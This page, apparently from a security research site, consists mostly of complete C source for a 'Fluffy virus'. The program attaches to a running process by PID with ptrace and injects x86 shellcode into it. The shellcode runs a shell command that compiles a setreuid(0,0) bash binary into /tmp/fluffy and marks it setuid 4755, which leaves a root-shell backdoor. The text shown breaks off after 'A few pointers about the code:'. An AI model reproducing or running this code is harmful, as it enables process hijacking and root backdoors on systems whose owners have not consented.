Informative Information for the Uninformed | ||||||||||||||
|
||||||||||||||
Meet FluffyA code that implements the above theory
/* * x86-fluffy-virus.c, Fluffy virus / izik@tty64.org */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> #include <sys/ptrace.h> #include <sys/wait.h> #include <linux/user.h #include <linux/ptrace.h> char virus_shcode[] = // <_start>: "\x90" // nop "\x90" // nop "\x60" // pusha "\x9c" // pushf "\x31\xc0" // xor %eax,%eax "\x31\xdb" // xor %ebx,%ebx "\xb0\x30" // mov $0x30,%al "\xb3\x0e" // mov $0xe,%bl "\xeb\x06" // jmp <_geteip> // <_calc_eip>: "\x59" // pop %ecx "\x83\xc1\x0d" // add $0xd,%ecx "\xeb\x05" // jmp <_continue> // <_geteip>: "\xe8\xf5\xff\xff\xff" // call <_calc_eip> // <_continue>: "\xcd\x80" // int $0x80 "\x85\xc0" // test %eax,%eax "\x75\x04" // jne <_resumeflow> "\xb0\x1b" // mov $0x1b,%al "\xcd\x80" // int $0x80 // <_resumeflow>: "\x9d" // popf "\x61" // popa "\xc3" // ret // <_virus>: "\x55" // push %ebp "\x89\xe5" // mov %esp,%ebp "\x31\xc0" // xor %eax,%eax "\x31\xc9" // xor %ecx,%ecx "\xeb\x57" // jmp <_data_jmp> // <_chkforfluffy>: "\x5e" // pop %esi // <_fixnulls>: "\x3a\x46\x07" // cmp 0x7(%esi),%al "\x74\x0b" // je <_access> "\xfe\x46\x07" // incb 0x7(%esi) "\xfe\x46\x0a" // incb 0xa(%esi) "\xb0\xb3" // mov $0xb3,%al "\xfe\x04\x06" // incb (%esi,%eax,1) // <_access>: "\xb0\xa8" // mov $0xa8,%al "\x8d\x1c\x06" // lea (%esi,%eax,1),%ebx "\xb0\x21" // mov $0x21,%al "\xb1\x04" // mov $0x4,%cl "\xcd\x80" // int $0x80 "\x85\xc0" // test %eax,%eax "\x74\x31" // je <_schedule> // <_fork>: "\x01\xc8" // add %ecx,%eax "\xcd\x80" // int $0x80 "\x85\xc0" // test %eax,%eax "\x75\x1f" // jne <_waitpid> // <_exec>: "\x31\xd2" // xor %edx,%edx "\xb0\x17" // mov $0x17,%al "\x31\xdb" // xor %ebx,%ebx "\xcd\x80" // int $0x80 "\xb0\x0b" // mov $0xb,%al "\x89\xf3" // mov %esi,%ebx "\x52" // push %edx "\x8d\x7e\x0b" // lea 0xb(%esi),%edi "\x57" // push %edi "\x8d\x7e\x08" // lea 0x8(%esi),%edi "\x57" // push %edi "\x56" // push %esi "\x89\xe1" // mov %esp,%ecx "\xcd\x80" // int $0x80 "\x31\xc0" // xor %eax,%eax "\x40" // inc %eax "\xcd\x80" // int $0x80 // <_waitpid>: "\x89\xc3" // mov %eax,%ebx "\x31\xc0" // xor %eax,%eax "\x31\xc9" // xor %ecx,%ecx "\xb0\x07" // mov $0x7,%al "\xcd\x80" // int $0x80 // <_schedule>: "\xc9" // leave "\xe9\x7c\xff\xff\xff" // jmp <_start> // <_data_jmp>: "\xe8\xa4\xff\xff\xff" // call <_chkforfluffy> // // /bin/sh\xff-c\xff // echo "int main() { setreuid(0, 0); system(\"/bin/bash\"); return 1; }" > /tmp/fluffy.c ; // cc -o /tmp/fluffy /tmp/fluffy.c ; // rm -rf /tmp/fluffy.c ; // chmod 4755 /tmp/fluffy\xff // // <_data_sct>: "\x2f\x62\x69\x6e\x2f\x73\x68\xff\x2d\x63\xff\x65\x63\x68\x6f\x20" "\x22\x69\x6e\x74\x20\x6d\x61\x69\x6e\x28\x29\x20\x7b\x20\x73\x65" "\x74\x72\x65\x75\x69\x64\x28\x30\x2c\x20\x30\x29\x3b\x20\x73\x79" "\x73\x74\x65\x6d\x28\x5c\x22\x2f\x62\x69\x6e\x2f\x62\x61\x73\x68" "\x5c\x22\x29\x3b\x20\x72\x65\x74\x75\x72\x6e\x20\x31\x3b\x20\x7d" "\x22\x20\x3e\x20\x2f\x74\x6d\x70\x2f\x66\x6c\x75\x66\x66\x79\x2e" "\x63\x20\x3b\x20\x63\x63\x20\x2d\x6f\x20\x2f\x74\x6d\x70\x2f\x66" "\x6c\x75\x66\x66\x79\x20\x2f\x74\x6d\x70\x2f\x66\x6c\x75\x66\x66" "\x79\x2e\x63\x20\x3b\x20\x72\x6d\x20\x2d\x72\x66\x20\x2f\x74\x6d" "\x70\x2f\x66\x6c\x75\x66\x66\x79\x2e\x63\x20\x3b\x20\x63\x68\x6d" "\x6f\x64\x20\x34\x37\x35\x35\x20\x2f\x74\x6d\x70\x2f\x66\x6c\x75" "\x66\x66\x79\xff"; int ptrace_inject(pid_t, long, void *, int); int main(int argc, char **argv) { pid_t pid; struct user_regs_struct regs; long infproc_addr; if (argc < 2) { printf("usage: %s <pid>\n", argv[0]); return -1; } pid = atoi(argv[1]); // Attach to the process if (ptrace(PTRACE_ATTACH, pid, NULL, NULL) < 0) { perror(argv[1]); return -1; } // Wait for a process to stop if (waitpid(pid, NULL, 0) < 0) { perror(argv[1]); ptrace(PTRACE_DETACH, pid, NULL, NULL); return -1; } // Query process registers if (ptrace(PTRACE_GETREGS, pid, ®s, ®s) < 0) { perror("Oopsie"); ptrace(PTRACE_DETACH, pid, NULL, NULL); return -1; } printf("Original ESP: 0x%.8lx\n", regs.esp); printf("Original EIP: 0x%.8lx\n", regs.eip); // Push original EIP on stack for virus to RET regs.esp -= 4; ptrace(PTRACE_POKETEXT, pid, regs.esp, regs.eip); // Calculate the previous stack page top address infproc_addr = (regs.esp & 0xFFFFF000) - 0x1000; printf("Injection Base: 0x%.8lx\n", infproc_addr); // Inject virus code if (ptrace_inject(pid, infproc_addr, virus_shcode, sizeof(virus_shcode) - 1) < 0) { return -1; } // Change EIP to point over virus shcode regs.eip = infproc_addr + 2; printf("Current EIP: 0x%.8lx\n", regs.eip); // Set process registers (EIP changed) if (ptrace(PTRACE_SETREGS, pid, ®s, ®s) < 0) { perror("Oopsie"); ptrace(PTRACE_DETACH, pid, NULL, NULL); return -1; } // It's fluffy time! if (ptrace(PTRACE_DETACH, pid, NULL, NULL) < 0) { perror("Oopsie"); return -1; } printf("pid #%d got infected!\n", pid); return 1; } // Injection Function int ptrace_inject(pid_t pid, long memaddr, void *buf, int buflen) { long data; while (buflen > 0) { memcpy(&data, buf, 4); if ( ptrace(PTRACE_POKETEXT, pid, memaddr, data) < 0 ) { perror("Oopsie!"); ptrace(PTRACE_DETACH, pid, NULL, NULL); return -1; } memaddr += 4; buf += 4; buflen -= 4; } return 1; }
A few pointers about the code:
|